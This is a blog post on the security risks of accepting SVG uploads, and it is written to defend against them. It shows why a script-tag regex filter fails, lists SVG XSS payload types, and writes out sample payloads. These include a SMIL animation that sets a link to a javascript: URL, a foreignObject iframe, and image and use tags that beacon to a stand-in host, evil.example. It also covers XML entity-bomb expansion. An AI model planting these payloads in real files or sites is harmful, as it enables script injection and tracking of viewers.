An SVG Is Not an Image

This series started two weeks ago with the question of what a file actually is. It ends with the format that answers “all of the above.”

An SVG is an image. It is also an XML document, which means everything in the XML post applies to it: entities, external references, the whole surface. It is also a CSS host, a stylesheet target, an animation timeline, and, when rendered in the wrong context, a JavaScript execution environment.

Your image upload endpoint accepts all of that.


What the First Filter Misses

Here is the sanitizer nearly everyone writes first, and I include myself in that:

def naive_sanitize(s):
    return re.sub(r"<script\b[^>]*>.*?</script\s*>", "", s, flags=re.I | re.S)

Strip the script tags. Reasonable. Here are nine payloads, all of them well-formed XML that a strict parser accepts without complaint, run through it:

payload                  well-formed XML  survives <script> strip
----------------------------------------------------------------------
script element           yes              no
onload on root           yes              yes
onerror on image         yes              yes
javascript: href         yes              yes
animate to js url        yes              yes
foreignObject html       yes              yes
external stylesheet      yes              yes
remote image beacon      yes              yes
use with remote ref      yes              yes

Eight out of nine. The interesting ones are not the obvious event handlers:

<svg xmlns="http://www.w3.org/2000/svg">
  <a><animate attributeName="href" to="javascript:x()"/>
     <rect width="9" height="9"/></a>
</svg>

That is SMIL animation rewriting a link’s href at runtime to a javascript: URL. No script element, no on* attribute, nothing a string filter is looking for. It is a legitimate use of a documented SVG feature to change an attribute over time, and the attribute it changes happens to be one that gets navigated.

<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject>
    <iframe xmlns="http://www.w3.org/1999/xhtml" src="..."/>
  </foreignObject>
</svg>

foreignObject is the element that lets you embed a different XML vocabulary inside SVG. Usually that means HTML. So an SVG can contain an entire HTML document, which means anything you could do with an HTML injection you can do inside an image file.

And two of them are not script at all:

<image href="https://evil.example/px.png?c=1"/>
<use href="https://evil.example/e.svg#p"/>

Those are outbound network requests from an image. If your SVG renders in a document context, opening it phones home with the viewer’s IP and referrer. No code executed, nothing to strip, and a naive filter has no opinion because there is no script involved.


The Real Boundary Is the Tag, Not the File

The important thing about SVG security is that the same bytes behave differently depending on how the page includes them. MDN states the restriction plainly:

For security purposes, some browsers place restrictions on SVG content when it’s being used as an image. Specifically, the following limitations may apply:

  • JavaScript is disabled.
  • External resources (e.g., images, stylesheets) cannot be loaded, though they can be used if inlined through data: URLs.
  • :visited-link styles aren’t rendered.
  • Platform-native widget styling (based on OS theme) is disabled.

Note the phrasing: “some browsers” and “may apply.” That is a specification-shaped hedge, and this is a security boundary.

The boundary holds for <img src="user.svg"> and for CSS background-image. It does not exist for <object>, <embed>, <iframe>, inline <svg> pasted into your DOM, or the case people forget, a user navigating directly to https://yoursite.com/uploads/user.svg. That last one runs with your origin, which means the uploaded file has your cookies.

So the answer to “is it safe to accept SVG uploads” is not a property of the file. It is a property of every place the file might later be rendered, including places you did not write, like a support tool that displays attachments inline.


It Is Still XML, So the Bomb Still Works

Everything from the XML post carries over unchanged, because SVG did not define its own parser. It said “this is XML” and inherited the entity system.

Here is an entity bomb in an SVG, expanded by two Python parsers:

levels=3  source  299 bytes   ElementTree: 3,000 chars       lxml: 3,000 chars
levels=4  source  357 bytes   ElementTree: 30,000 chars      lxml: 30,000 chars
levels=5  source  415 bytes   ElementTree: 300,000 chars     lxml: Maximum entity amplification factor exceeded
levels=6  source  473 bytes   ElementTree: 3,000,000 chars   lxml: Maximum entity amplification factor exceeded

libxml2 has the amplification limit I wrote about six days ago, and it fires exactly where it should. Python’s standard library xml.etree.ElementTree has no such limit. A 473-byte file expands to three million characters, and adding one more line makes it thirty million.

This is not a hypothetical for image handling. If any part of your pipeline parses the SVG rather than just rasterizing it, which is what every thumbnailer, dimension-extractor, and metadata-stripper does, that parser is the one that has to survive the input. defusedxml exists for this and takes one import to adopt.


The Format Is Good, Actually

I have spent most of this post on the attack surface, so let me be fair about the design, because SVG got a hard thing right.

<svg xmlns="http://www.w3.org/2000/svg"
     width="800" height="600"
     viewBox="0 0 400 300"
     preserveAspectRatio="xMidYMid meet">

Two coordinate systems, cleanly separated. width and height are how much room the image takes up on the page. viewBox is the coordinate space the drawing commands are written in. The renderer computes the scale factors between them and applies preserveAspectRatio to decide what happens when they disagree: meet fits the whole drawing inside, slice fills the box and clips, none stretches.

That separation is why one SVG file is correct at 16 pixels and at 4,000, and why every icon system on the web is SVG now. None of the raster formats in this series can do it. PNG, JPEG, and GIF all encode a grid of samples at one resolution, and everything after that is interpolation.

The path syntax is similarly good. M moves, L lines, C is a cubic Bézier, Z closes, lowercase means relative. Six letters and some numbers describe any curve, in text, diffable in git, editable by hand.

The problem is not the drawing model. The problem is that the same document that describes the curve can also describe a script, and both are in the same file, delivered by the same upload form.


What To Do About It

  • Never write your own SVG sanitizer. Use DOMPurify with USE_PROFILES: {svg: true}, or a server-side equivalent that works on a parsed tree with an allowlist. The blocklist approach loses, always, and this post is nine examples of why.
  • Serve user uploads from a separate origin. Not a subdomain of your app, a different registrable domain, so a direct navigation to the file cannot touch your cookies or localStorage.
  • Set Content-Security-Policy: default-src 'none'; sandbox on upload responses, plus Content-Disposition: attachment if you never need inline display.
  • Render through <img>, never <object> or inline. The restrictions MDN lists only apply in image context. If a designer asks to inline the SVG so they can style it with CSS, that request converts a sandboxed file into an executable one.
  • Use defusedxml in every pipeline stage that parses. Your thumbnailer is a parser. So is your dimension check.
  • Consider rasterizing on upload. If you accept SVG from users and only ever display it at known sizes, converting to PNG at ingest removes the entire category and costs you resolution independence you were not using anyway.

Fifteen posts, and the pattern held every time. CSV had no standard and everyone wrote their own. JSON had a small standard and everyone filled the gaps differently. YAML fixed its bug and the fix never landed. XML specified everything and shipped the dangerous defaults. PDF and SQLite both keep what you told them to delete. JPEG exposes one control that means nothing. GIF’s most famous feature is not in its specification at all.

SVG is the one where all of it lands at once, because SVG is not really a format. It is XML plus a drawing vocabulary plus CSS plus SMIL plus a scripting host, wearing a .svg extension so that your upload validator sees an image.

The file extension is a suggestion. It always was. That is where this series started, and it turns out to be where it ends.

Sources

  • SVG 1.1 (Second Edition) — the W3C Recommendation; the coordinate system rules are in the coords chapter
  • SVG 2 — the current draft; href replaces xlink:href, geometry moves into CSS
  • MDN: SVG as an image — the restrictions that apply in image context, and the hedged language they are stated in
  • DOMPurify — the sanitizer to use instead of the one you were about to write
  • OWASP File Upload Cheat Sheet — separate origin, content disposition, and why extension checks are not validation
  • defusedxml — for every stage of the pipeline that parses rather than renders

I’d appreciate a follow. You can subscribe with your email below. The emails go out once a week, or you can find me on Mastodon at @[email protected].

Programming security Svg File-formats Xml